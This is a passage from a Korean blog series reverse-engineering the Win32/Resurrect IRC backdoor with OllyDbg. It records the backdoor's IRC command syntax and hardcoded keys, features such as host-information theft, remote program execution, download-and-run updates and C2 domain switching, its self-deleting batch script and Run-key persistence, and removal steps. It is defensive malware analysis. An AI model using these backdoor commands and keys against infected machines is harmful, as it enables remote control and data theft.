00402238에 보면 EAX가 가르키는 값과 EBX(0)값을 비교하여 EAX가 가르키는 값 즉 그림.49에 좌측 하단 헥사값이 명령어가 들어있는 주소값을 가르키며 주소값 하나를 따라 들어가면 우측하단 hex값과 같이 명령어를 확인 할 수 있습니다.

명령어 주소 값이 없을 경우 루프를 빠저나오며 명령어의 길이가 길어도 20개까지만 체크합니다.

 


(6) Backdoor에서 사용되는 명령어 복구


[그림.50]

 

  
004022A0의 주소의 명령라인을 보면 ESI가 가르키는 값과 OA와 비교 합니다.
현재 ESI는 EX)PART NOTICE # VERSION 와 같이 공격자가 입력한 명령문의 첫 문자열 PART의 시작주소를 가르킵니다.
그리고 OA는 아스키코드 문자 중 Line feed(개행, 다음줄)을 가르킵니다.

PART 문자열에서 입력된 첫 번째 1바이트와 OA와 비교하여 같으면 JE명령어로 분기하여 strcmp 문을 바로 확인을 합니다.
strcmp 함수로 공격자가 입력한 문자열의 첫 단어가 PING인지 체크합니다.

제가 테스트하기 위해 입력한 단어는 PING 127.0.0.1 001 005 302 ## 입니다.

그럼 004022F9에서 함수를 호출하고 함수안으로 들어가면 그림.50과 같이 데이터를 공격자에 send합니다.

  

[그림.51]

 

그림.51과 같이 PONG 127.0.0.1을 send하여 공격자가 메세지를 확인 합니다.

 

 

[그림.52]

 

계속 Step over[F8]하여 명령어를 실행하면 분석대상의 함수가 하나더 있는데 Step in[F7]하여 함수 내부로 들어가면 또 정보를 공격자에게  send합니다.

공격자에게 보내는 내용은 그림.52의 좌측 하단의 PONG 127.0.0.1 001 005 302 ## 로 즉 공격자가 백도어에게 입력한 문자를 PING에서 PONG으로 변경만 하고 그대로 회신 합니다.

[그림.53]

 

1.명령어)  001

2.명령어)  302 TEST1 @TEST2

001 또는 005 를 입력하게되면 그림.53의 오른쪽 콘솔 화면처럼 MODE, JOIN, USERHOST 등의 특정 정보를 수신합니다.

그리고 2번 명령어와 같이 입력하게 되면 @뒤의 데이터를 잘라서 빈 버퍼에 저장하고 다시 데이서 수신상태로 돌아가게 됩니다.

그림 우측 하단의 로직을 보면 @뒤의 문자열이 저장되는 값이 a8이라는 변수에 저장되며 이후에 특정 명령어 옵션으로 n을 입력하였을때 이 때 저장했던 a8변수의 값을 인자값으로 하여 함수를 호출하게 됩니다.

 

[그림.54]

 

3.명령어) : PRIVMSG RANDOM #### 0xD12H5SD1OM2

4.명령어) : PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

 

3번 명령어와 같이 입력을 하게되면 #### 뒤의 값을 004029DB에서 strcmp로 확인을 하고 값이 틀릴 경우 함수를 탈출하고 값이 같을 경우 sprintf 함수까지 진행을 해서 LOGIN을 하게 됩니다.

 

 

[그림.55]

 

그리고 처음 로그인을 하게되면 주소값 0012F0F0에 명령어의 첫번째 입력 문자 ":" 를 저장하게 되며 004023CD에서 문자 체크를하고 같을 경우 004023DA에서 MOV DWORD PTR SS:[EBP-10],1 와 같이 값을 채우고 [EBP-10]에 값 1이 들어있지 않다면 실행하지 않습니다.

또 중요한 부분은 004023C6번지의 명령어 LEA EAX,DWORD PTR SS:[EBP-73C] 입니다. EBP-73C의 값을 EAX에 가저와 비교를 하고 비교대상이 맞을 경우에만 [EBP-10]에 1을 저장 할 수 있기때문입니다.

 

[그람.56]

 

이어서 그림 56을 보면 [EBP-73C]에 주소값을 EAX에 저장하고, 입력한 명령어의 첫 공백전의 문자열값 EX)" :" 값을 [EBP-73C]주소에 저장하고 그림.55의 로직을 실행 하게 되어 [EBP-10]에 1을 저장 할 수 있게 되는것입입니다.

결론은 3.명령어) : PRIVMSG RANDOM #### 0xD12H5SD1OM2 와 같이 입력했을때 처음 로그인이 되고 두번째 4.명령어) : PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 명령어와 같이 옵션을 줄때도 앞의 첫 공백전의 문자열을 동일하게 입력해 줘야지만 명령어가 실행이 됩니다.

그렇다면 이와 같이 명령어를 변형 할 수 도있습니다.

3.명령어) usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 

4.명령어) usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

 

[그림.57]

 

그리고 또 0040273D의 명령어 라인에서 CMP AL,BYTE PTR DS:[40700C] 와 체크를 합니다.

이부분은 입력 된 명령어 문자열의 usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 두번째 #부분과 [40700C]의 고정된 #값을 비교하여 아래 분기문을 실행하며 이 또한 같지 않을경우 함수를 빠저나와 리턴합니다.

 

 

[그림.58]


 

3.명령어)usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 

첫번째 로그인 할 때는 그림.58에서 결정적인 역할을 합니다.

3번명령어의 3번째 4번째의 ##과 비교를 하고 같지 않을경우 3번명령어의 3번째 4번째의 ##부분에 옵션이 들어가게되는데 그 옵션값이 맞는지 체크하는 로직으로 넘어가게 되고 옵션이 아닐경우 로그인하는 로직으로 실행이 됩니다.

  

[그림.59]

 

로그인을 한 후 그림.55에서 설명한것과 같이 [EBP-10]값이 없을경우 함수를 종료합니다.

최종적으로[EBP-10]의 역할은 첫번째 로그인 할때의 usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2  usernamerandom 값이 두번째 백도어 기능 옵션값을준 명령어 usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 와같이 입력했을때 usernamerandom값이 같은지 체크하는것입니다.

그리고 00402A99를 보면 다시 명령어의 usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 n부분이 #이라면 아래 로직을 실행하고 아닐경우 nn명령어의 옵션 구역으로 분기하게 됩니다.

 

 

 

 

[그림.60]

 

(7) Backdoor에서 사용되는 기능 분석


4. 명령어) usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

4번명령어 옵션 nn일때의 결과로 백도어에 접속한 사용자에게 새로운 랜덤 닉네임을 새로 부여하는 옵션입니다.

 

[그림.61]

 

5. 명령어) usernamerandom! PRIVMSG RANDOM ##l 0xD12H5SD1OM2

공격자가 백도어에 처음 접속을 시도하면 username과 nickname을 랜덤값으로 부여했었습니다.

이때 옵션 l을 주게 되면 랜덤으로 부여된 username을 체크하고 LOGOUT을 하게 되고 백도어는 recv 명령 대기상태가 됩니다.

 

 

[그림.62]

 

6. 명령어) usernamerandom! PRIVMSG RANDOM ##rc 0xD12H5SD1OM2

usernamerandom! PRIVMSG RANDOM ##ds 0xD12H5SD1OM2

usernamerandom! PRIVMSG RANDOM ##remove 0xD12H5SD1OM2

명령어 rc,ds,remove는 quit 명령으로서 소켓 연결을 끊고 백도어 자체도 종료합니다.

 

[그림.63]

6. 명령어) usernamerandom! PRIVMSG RANDOM ###i 0xD12H5SD1OM2

00403DF6에서 GetTickCount 함수로 시간값을 인자로 해서 DIV연산을 진행하여 그림.63의 오른쪽 화면처럼 [0d/0h/57m] 값을 만든 후 send함수로 공격자 클라이언트에 데이터를 전송합니다. 

[그림.64]

 

7. 명령어) usernamerandom! PRIVMSG RANDOM ##st 0xD12H5SD1OM2

st옵션의 명령은 ESI가 가르키는 주소에 0이아닌 값이 있을경우 그 값이 나올때까지의 루프문의 회전 수와 그 문자열을 SEND함수로 전송합니다.

고정적인 문자열중 [BOT] 문자가 있는것 으로보아 봇관련해서 그 갯수를 체크하는 옵션이 아닌지 추측합니다.

 

[그림.65]

 

8. 명령어) usernamerandom! PRIVMSG RANDOM ##le 0xD12H5SD1OM2

le옵션은 각각 LOGIN한시간, SERVER에 접속한 시간, 부팅한시간을 보여줍니다. 

 

[그림.66]

 

10. 명령어) usernamerandom! PRIVMSG RANDOM ###n 0xD12H5SD1OM2

옵션 n은 백도어가 설치된 컴퓨터의 ip정보를 가져 옵니다.

그림.66의 InternetGetconnectedStateEx 함수로 인터넷이 연결되어 있는지 확인하고 GetSockName함수로 백도어가 설치된 PC의 IP정보를 가져옵니다.

그리고 그 결과를 왼쪽 콘솔과 같이 정보를 전송합니다.

 

[그림.67]

 

11. 명령어) usernamerandom! PRIVMSG RANDOM ###s 0xD12H5SD1OM2

s옵션은 백도어가 설치된 PC의 정보를 가저오는 역할을 합니다.

GlobalMemoryStatus함수로 메모리의 정보를 가저오고, GetVersion함수로 운영체제의 종류를 체크하는데 여기서 백도어 자체가 윈도우7이전에 제작되었기 때문에 알수없는(???) 운영체제로 선택되서 반환됩니다. 

그리고 GetComputerName 함수로 컴퓨터 이름을 얻고, GetUserName으로 PC사용자의 이름을 얻습니다.

 

 

 

[그림.68]

 

왼쪽 콘솔화면에서 운영체제의 이름을 제외한 PC정보를 백도어에서 공격자 PC에 전송합니다.

 

[그림.69]

 

12. 명령어) usernamerandom! PRIVMSG RANDOM ##cp 0xD12H5SD1OM2

cp옵션은 Thread드를 생성하여 새로운 소켓을 생성하고 32308번의 포트를 오픈합니다.

 

 

[그림.70]

 

명령어를 입력하자 32308번 포트가 오픈된것을 확인 할 수 있습니다.

그리고 데이터를 수신하기위해 recv함수를 호출합니다.이후 recv관련 함수들의 스샷은 생략하도록 하겠습니다.

 

 

[그림.71]

 

13. 명령어) usernamerandom! PRIVMSG RANDOM ##cp 0xD12H5SD1OM2

cp옵션은 웹캠 드라이버가있는지 탐색하고 드라이버가 있을때 "WEBCAM"이라는 문자열을 공격자에게 전송하고 캠드라이버가 없을때는 "N/A" 를 전송합니다.

capGetDriverDescription 함수를 이용해 첫번째 인자 ESI값 0부터 9까지 드라이버를 체크하며, 만약 드라이버가 있을때 EDI값을 1로 세팅합니다.

 

[그림.72]

 

14. 명령어) usernamerandom! PRIVMSG RANDOM ##dd 0xD12H5SD1OM2

dd 옵션은 백도어가 설치된 PC의 ..\Temp, ..\system32, ..\Windows 디렉토리 경로를 공격자에게 전송합니다.

 

[그림.73]

 

15. 명령어) usernamerandom! PRIVMSG RANDOM ##cn 0xD12H5SD1OM2

cn옵션은 백도어 에서 명령어를 입력할 때 뒤에 특정값을 체크하고 그 값이 없을경우 명령어가 실행이 되지 않습니다.

이 값은 공개된 값이 아니며 백도어 소프트웨어 안에 0xD12H5SD1OM2 의값을 심어놓고 체크합니다. 

cn 옵션은 0xD12H5SD1OM2값을 공격자에게 전송합니다.

 

 

[그림.74]

 

16. 명령어) usernamerandom! PRIVMSG RANDOM ###o notepade.exe 0xD12H5SD1OM2

tx옵션은 공격자가 백도어로 특정 프로그램을 실행 시키기 위한 명령옵션 입니다.

테스트로 notepad.exe파일을 열도록 하였으며, 정상적으로 프로그램이 실행이 됬습니다.

공격자가 2,3차 악의 적인 용도로 실행파일을 실행시키기 위한 용도로 사용하는 옵션으로 추정됩니다.

 

[그림.75]

 

17. 명령어) usernamerandom! PRIVMSG RANDOM ##ts (Domain) 0xD12H5SD1OM2

ts옵션은 백도어가 접속을 시도하는 서버의 도메인 주소를 변경합니다.

백도어에서 사용하는 도메인 주소는 rbase01.ath.cx 였습니다. 하지만 지금은 접속이 되지 않으며, 없는 도메인입니다.

만약 서버를 구축하고 그 서버가 폐쇠 되었거나 사용을 하지 못하게 된다면 다른서버나 예비서버에 접속을 해야 할것입니다.

그래서 이런용도로 사용하지 않을까 추정해봅니다.

 

[그림.76]

 

18. 명령어) usernamerandom! PRIVMSG RANDOM ##rh (Domnain or Ip Adress) 0xD12H5SD1OM2

rh옵션은 그림.76의 함수 호출과 같이 rh옵션뒤에 도메인을 입력하면 gethostbyname함수로 도메인에 대한 IP주소를 얻어오고, rh옵션뒤에 IP를 입력하면 gethostbyaddr함수로 해당 아이피에 대한 도메인 주소를 얻어오는 역할을 하는 옵션입니다.

 

 

 [그림.77]

 

19. 명령어) usernamerandom! PRIVMSG RANDOM ##ub 0xJK3D08VZF6 0xD12H5SD1OM2

ub옵션은 등록되어있던 레지스트리와 악성코드 실행파일(System32.exe)을 삭제하는 기능을 하여 흔적을 지우기 위한 용도로 만들어 놓은 것으로 추정됩니다.

이 옵션은 기존에 사용하던 키값(0xD12H5SD1OM2) 외에 이 옵션을 실행하기 위한 키값을 공격자가 만들어 놨으며 그 키값은 0xJK3D08VZF6 입니다.

그래서 이 명령어를 실행하기 위해서는 두개의 키값이 필요하며 두 개의 키값이 일치해야만 악성코드 삭제 작업처리가 진행이 됩니다.

 

 [그림.78]

 

그림.77과 78에서 레지스트리 관련 API를 볼 수 있습니다.

"Software\Microsoft\Windows\CurrentVersion\Run"을 생성하고 System32 값을 삭제합니다.

"Software\Microsoft\Windows\CurrentVersion\RunServices" 생성하고 System32 를 삭제한다.

"Software\Microsoft\Windows\CurrentVersion\RunOnce" 생성하고 System32 를 삭제한다.

"Software\Microsoft\Windows NT\CurrentVersion\Winlogon" 생성하고 Shell의 내용을 지우고 Explorer.exe내용으로 변경하여 기본값으로 복원한다.

 

[그림.79]

 

그리고 그림.79에서는C:\Windows\system32\r0816.bat 파일생성 합니다. 그리고 아래와 같이 파일내용을 삽입합니다.

@echo off
 :Rep
 del "C:\Windows\system32\System32.exe"
 if exist "C:\Windows\system32\System32.exe" goto Rep
 del "C:\Windows\system32\r0816.bat"

마지막으로 ShellExecute함수로 r0816.bat 파일을 실행하여 악성코드를 삭제하게 됩니다.

 

[그림.80] 

 

20. 명령어) usernamerandom! PRIVMSG RANDOM ##ud www.test.com test 0xD12H5SD1OM2

ud 옵션은 특정 도메인에서 파일을 다운로드 받아 백도어를 업데이트 하는 역할을 합니다.

 

 

[그림.81]

 

ub옵션을 실행하면 스레드를 생성하고 생성한 스레드에서 InternetOpenUrl함수로 업데이트 서버 도메인의 url에 접속을 하고 도메인이 잘못되거나 틀릴 경우 스레드를 종료합니다.

정상적인 도메인일 경우 C:\Users\DK64\AppData\Local\Temp\백도어 닉네임.exe 파일을 생성하고 해당 파일에 내용을 다운로드합니다.

그리고 마지막으로 ShellExcute 함수로 업데이트를 실시합니다.

스레드의 내부 기능 및 이후의 옵션들의 내용은 중략합니다.

이후에 등장하는 옵션들은 백도어 자체적으로 테스트하기 위한 옵션들로 tc 백도어 채널변경, rp 백도어 포트변경, sf,uf,pf,p 로 각각 syn, udp, ping 패킷으로 테스트하는 기능을 합니다.

 

치료 패턴

1. System32.exe 프로세스 강제종료(삭제하기 위해서 강제종료 함.)

2. "c:\windows\system32\System32.exe"(원본을 복사하고 시스템 파일로 위장) 삭제

3. "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell" 삭제

 


 

 





posted by 미스터리 DKL

#1. 개요


참조사이트 : www.virustotal.com


(1) 바이러스 개요


[그림.1]


검색엔진에서 구한 파일명 virus.exe란 파일을 받아서 혹시나 하는 마음에 virustotal을 돌려 보았는데 40개의 제품에서 탐지가 됬고 명칭은 Win32/Resurrect 입니다.

웹에서 바이러스 관련해 분석 된 자료가 있나 찾아보니 관련 자료는 없고 간략한 바이러스에 대한 설명만 있습니다.

해당 파일을 구했을때 C로된 풀소스와 EXE바이너리 파일이 같이 압축되어 있던걸로 보아 학습 또는 테스트 용도로 만들어 놓은것 같습니다.


(2) 바이러스 최초 발견과 마지막 발견 및 전파 파일명


[그림.2]


(3) 악성코드의 기본 정보


[그림.3]


(4) 악성코드의 상세정보


[그림.4]

 

Win32/Resurrect.29696 악성코드 분석


#2. 동적분석


(1) 테스트 환경 및 도구

Windows XP Service Pack3, Ollydbg, Stud_PE

바이러스가 패킹 되었는지 확인하기 위해 Stud_Pe프로그램을 사용하여 패킹여부를 확인하였습니다.


[그림.5]]


컴파일러는 Visual c++ 6.0을 사용하고 패킹되지 않았습니다.


(2) ProecessExplorer 프로세스 생성확인.


[그림.6]


VIRUS.EXE 파일을 실행하면 conime.exe프로세스를 생성 후 VIRUS.EXE 파일은 종료합니다.


(3) RegShot으로 실행 전/후 레지스트리 변화 확인

[그림.7]


Regshot 1.8.1 결과

설명:
날짜:2012/10/24 13:12:11  ,  2012/10/24 13:12:31
컴퓨터:NTS , NTS
사용자 이름: ,

----------------------------------
생성된 값:2
----------------------------------
HKU\S-1-5-21-515967899-1214440339-842925246-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU:P:\Qbphzragf naq Frggvatf\qxyrr\바탕 화면\if_fnzcyr\jva32\IVEHF.RKR: 07 00 00 00 06 00 00 00 E0 73 BB 30 E9 B1 CD 01


HKU\S-1-5-21-515967899-1214440339-842925246-1003\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\Documents and Settings\dklee\바탕 화면\vs_sample\win32\VIRUS.EXE: "VIRUS"

----------------------------------
변경된 값:2
----------------------------------
HKLM\Software\Microsoft\Cryptography\RNG\Seed: 45 78 D0 DE CC 18 91 27 2F B5 DC 77 BA B2 29 EA C6 F0 79 BB 04 05 25 FE 53 A5 D6 61 76 78 D5 E6 AF 4B D3 35 12 EB 4C 1C 67 1F 56 26 FB A7 33 60 03 7C 5B 99 E2 DF 12 E4 D2 7E 4E 50 04 F7 24 22 19 16 CA 4A AC 74 95 69 E8 E0 3A 7C B4 20 8A F9


HKLM\Software\Microsoft\Cryptography\RNG\Seed: 8E 39 F0 81 81 0C 16 0D 84 F3 E5 33 08 4A 1F 1F EC D0 13 53 44 17 19 EA 70 1D D9 7A 74 81 1A C5 43 85 23 2F 76 B6 EF D4 A6 8B E6 64 D6 61 9F 53 4C 4C 45 4D C5 99 68 1A 2B 8A 4E CF 8F BC FD AF 6E 6B 99 69 FF 3B 7A 31 CF B6 11 C7 51 9E 69 15


HKU\S-1-5-21-515967899-1214440339-842925246-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU: 07 00 00 00 28 01 00 00 C0 28 AA D5 E8 B1 CD 01


HKU\S-1-5-21-515967899-1214440339-842925246-1003\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU: 07 00 00 00 29 01 00 00 E0 73 BB 30 E9 B1 CD 01

----------------------------------
생성된 파일:1
----------------------------------
C:\WINDOWS\Prefetch\VIRUS.EXE-2DA0382F.pf

----------------------------------
변경된 파일:3
----------------------------------
C:\Documents and Settings\dklee\NTUSER.DAT.LOG
C:\WINDOWS\Prefetch\CONIME.EXE-13EEEA1A.pf
C:\WINDOWS\system32\config\software.LOG

----------------------------------
종합:8
----------------------------------

[생성된 값:2, 변경된 값:2, 생성된 파일:1, 변경된 파일:3]


(4) prefetch파일 생성

 

윈도우의 부팅커널까지 포함하여 모든 프로그램 실행시 실행되었던 기계어와 실행하는 데 필요한 DLL파일들의 주소를 파일에 저장해 놓고 다음 번에 실행시 정보를 저장한 파일을 읽어 미리미리 하드디스크에서 RAM으로 로딩하게끔 하는 역할이라고 합니다.


[그림.8]


[그림.9]


파일을 실행하면 처음에 pf파일을 생성합니다.


[그림.11]


pf파일을 열면 그림6처럼 virus.exe 파일이 access한 목록을 string으로 볼 수 있습니다.

물론 string을 보는 툴을 사용해서 확인해도 되지만, 수작업으로 정리했습니다.

 
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\NTDLL.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\KERNEL32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\UNICODE.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\LOCALE.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SORTTBLS.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\CONIME.EXE
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\USER32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\GDI32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\IMM32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\ADVAPI32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\RPCRT4.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SECUR32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\MSVCRT.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SHIMENG.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\APPPATCH\SYSMAIN.SDB
\DEVICE\HARDDISKVOLUME1\WINDOWS\APPPATCH\ACGENRAL.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\WINMM.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\OLE32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\OLEAUT32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\MSACM32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\VERSION.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SHELL32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SHLWAPI.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\USERENV.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\UXTHEME.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\CTYPE.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\LPK.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\USP10.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.2600.6028_X-WW_61E65202\COMCTL32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\WINDOWSSHELL.MANIFEST
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\COMCTL32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\MSCTF.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\MSCTFIME.IME
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\IMEKR61.IME
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\WIN32K.SYS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\CONFIG\SOFTWARE\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\CONFIG\SYSTEM
\DEVICE\HARDDISKVOLUME1\
\DEVICE\HARDDISKVOLUME1\WINDOWS\)
\DEVICE\HARDDISKVOLUME1\WINDOWS\APPPATCH\)
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\'
\DEVICE\HARDDISKVOLUME1\WINDOWS\WINSXS\z
\DEVICE\HARDDISKVOLUME1\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.2600.6028_X-WW_61E65202\OFTWARE


#3. 정적분석


(1) 프로그램을 실행하기 위한 사전 준비 작업


<401E92 CALL VIRUS.00401F61 함수분석>


[그림.14]


메인함수를 실행하기 전까지 운영체제에서 프로그램을 실행하기 위한 코드입니다.

401E5F에서는 Kernel32.Getversion 함수를 호출하여 프로그램이 실행 된 운영체제의 시스템 버전정보를 가져옵니다.

그 후 두번째 함수 401E92번지에 CALL VIRUS.00401F61 명령을 실행하여 함수를 호출하는데 이 함수의 역할은 Heap을 할당하는 함수입니다.


[그림.15]


함수 내부로 들어와서 401F61 ~ 401F72 까지는 HeapCreate함수를 실행하여 4096byte의 힙을 생성합니다.


[그림.16]

HeapCreate 함수를 호출 후 정상적으로 호출이 이뤄지면 핸들을 리턴합니다.

이때 401F78 TEST EAX,EAX 명령어가 실행이 됩니다.

TEST 명령어는  AND연산을하고 결과값을 저장하지않고 플래그에만 반영합니다.

즉 TEST EAX,EAX = 자기 자신의 값을 AND연산합니다. 연산 후 값이 0일 경우 ZF 플래그를 1로 세팅하며, 0이아닐경우 ZF 플래그를 0으로 세팅하게 되어 조건문을 실행하게 됩니다.

그림3의 경우 TEST연산 후 401F7F의 주소에서 JE 명령어를 만나 분기하게 되는데 여기서는 HeapCreate 함수를 정상으로 호출하여 핸들값이 0이 아니기 때문에 ZF 플래그는 0으로 세팅되어 JUMP하지 않습니다.

(JE Jump if equal = 결과값이 0이면 ZF=1, 결과값이 0이 아니면 ZF=0으로 세팅 JE는 ZF플래그가 1이되어야 분기함.)

※정리 call 후 값이 존재하면 ZF=0으로 세팅, call 후 값이 null 이면  ZF=1



[그림.17]


그림1을 보면 분기하지 않으므로 401F81번지의 VIRUS.00401F9D 함수를 호출하고 그림4와 같이 함수 내부로 들어가게 됩니다.

여기서 HeapAlloc 함수호출로 힙에 메모리를 할당합니다.

401FB0에서 리턴하는 값이 없는데 특정값을 EAX 레지스터에 가저와 TEST연산을 다시 수행합니다.

그 후 401FB0 ~ 401FDA까지 명령어를 실행하는데 401FB7 JNZ SHORT VIRUS.00401FBA 명령어에서 JUMP하여 401FBA AND DWORD PTR DS:P409024,0 명령을 실행합니다.

즉 401FB0부분은 함수호출을 정상적으로 수행했는지 확인하는 코드임을 알수 있습니다.


[그림.18]


HeapAlloc함수를 빠저나와 401F86 에서 다시한번 검증을합니다.

HeapAlloc함수가 정상적으로 수행했는지 테스트하고 테스트 후 함수호출 실패시 HeapDestroy 함수를 호출하고 리턴합니다.


[그림.19]

▶정리

4096byte의 힙을 생성하고 힙에 메모리를 할당.

힙생성이 정상적인지 검증 후 힙생성 실패 시 다시 힙을 생성합니다.


<00401EA8 VIRUS.00403C08 함수 분석>


[그림.20]

00403C46번지를 보면 AB0EF0의 주소값을 OR연산하여 FFFFFFFF로 세팅합니다.

바로아래는 Ah(10)으로 세팅하는데 이과정을 ESI > EAX조건을 만족할때까지 진행합니다.

그리고나서 00403C60 번지의 GetStartupInfo 함수를 호출하는데 그 인자값에 Startupinfo 구조체가 입력이되어 실행된 프로세스의 정보를 가저오고 00403D38 번지로 점프합니다.


[그림.21]


처음 00403D60번지에서 GetStartHandle 에 STD_INPUT_HANDLE(FFFFFFF6) 의 인자값으로 함수를 호출 합니다. 

이 함수의 호출의미는 표준 입력장지 입력버퍼에 관한 핸들을 반환하는 함수라고 합니다.

함수의 핸들리턴값은 3이며 반환값 3을 00403D6E GetFileType 함수의 인자값으로 사용합니다.

GetFileType의 함수는 파일에 대한 형식을 정수값으로 리턴하는데 리턴한 정수값은  00000002입니다.

MSDN참조결과 리턴된 정수값 2는 FILE_TYPE_CHAR로써 지정된 파일은 문자파일입니다.

일반적으로 LPT나 콘솔이라는 설명을하며, 결과는 콘솔파일타입 이라는 결론을 낼 수 있습니다.

[그림.22]


마지막으로 00403DA5 SetHandleCount 함수에 20h(32) 값을 인자값으로 해서 호출을 하며, SetHandleCount 함수는 프로그램에서 사용 할 수 있는 핸들 수 를 지정합니다.


[그림.23]



▶정리

프로세스 정보를 가저온다.

GetFileType호출로 파일에 대한 형식을 정수값으로 리턴하며, 리턴결과 콘솔파일타입 임을 알 수 있다.


<00401EB8  CALL VIRUS.00403AD6 함수 분석> 


[그림.24]


그림18에서 GetEnvironmentStrings 함수를 호출하는데 이 함수의 역할은 현제 실행된 프로세스의 환경변수를 가져오는 역할을 합니다.

이 함수가 호출되면 00010000의 주소값을 리턴하는데 이것은 유니코드형식의 환경변수 문자열이 저장된 주소값을 리턴합니다.

리턴 후 저장된 문자열에 0이 나올때까지 반복하여 환경변수값을 가져옵니다.


[그림.25]


그림 18에서 디버가 하단의 ASCII 코드를 복사한 후 문자열로 만들었습니다.

ProcessExplorer에서 현재 실행 된 virus.exe 프로세스의 환경변수를 비교하였고 그 결과 동일합니다.


[그림.26]


403B69번지의 WideCharToMultiByte 함수 호출로 유니코드로 된 스트링을 멀티바이트로 변경합니다.

그 후 00403B72 CALL VIRUS.004028E0  번지의 함수 호출을 합니다.

함수 호출하면 914988의 값을 리턴하며, 914988숫자의 의미는 멀티바이트로 변경된 환경변수의 값을 저장하기위한 시작주소의 값 입니다.


[그림.27]


다음으로 00403B8B  CALL EDI  함수 호출을하며 여기서 멀티바이트 문자열이 914988번지부터 914DF8번지까지 환경변수의 문자열을 복사합니다.


[그림.28]

 문자열 복사 후 00403BA4 CALL DWORD PTR DS:[<&KERNEL32.FreeEnvironmentStringsW>] 함수를 호출하며 유니코드로 저장된 00010000번지의 메모리를 반환합니다.

 

▶정리

00401EB8  CALL VIRUS.00403AD6 함수를 정리하면 다음과 같습니다.

virus.exe 프로세스가 메모리에 올라가서 실행되며 실행되는 프로세스의 환경변수의 문자열을 유니코드 로 구한 후 914988번지의 빈주소에 멀티바이트로 변환하여 복사합니다.

복사가 완료되면 기존의 환경변수의 문자열(유니코드) 00010000번지의 메모리를 반환합니다.


<00401EC2 CALL VIRUS.00403889 함수 분석>


[그림.29]


00403889 함수가 하는 역할은 간단합니다.

GetMouduleFileName 함수를 사용하여 현재 실행되는 프로세스의 경로를 가져옵니다.


[그림.30]


그림 16과 같이 지금 실행되고 있는 프로세스의 경로를 문자열로 가져옵니다.


<00401EC7 CALL VIRUS.004037D0 함수 분석>


[그림.31]


004037D0 함수의 역할은 환경변수를 줄단위로 실행 후 처음에 생성했던 힙을 초기화 시킵니다.


[그림.32]


004037EA ~ 00403800 까지는 환경변수의 첫라인부터 마지막 라인까지 각 줄에 대한 길이를 EAX레지스터에 리턴합니다.


[그림.33]


0040382F ~ 00403864 에서는 그림18에서 환경변수의 문자열 라인의 길이를 리턴하였는데 그 환경변수 의 길이를 기준으로해서 환경변수의 각 라인을 스택에 저장 합니다.


[그림.34]


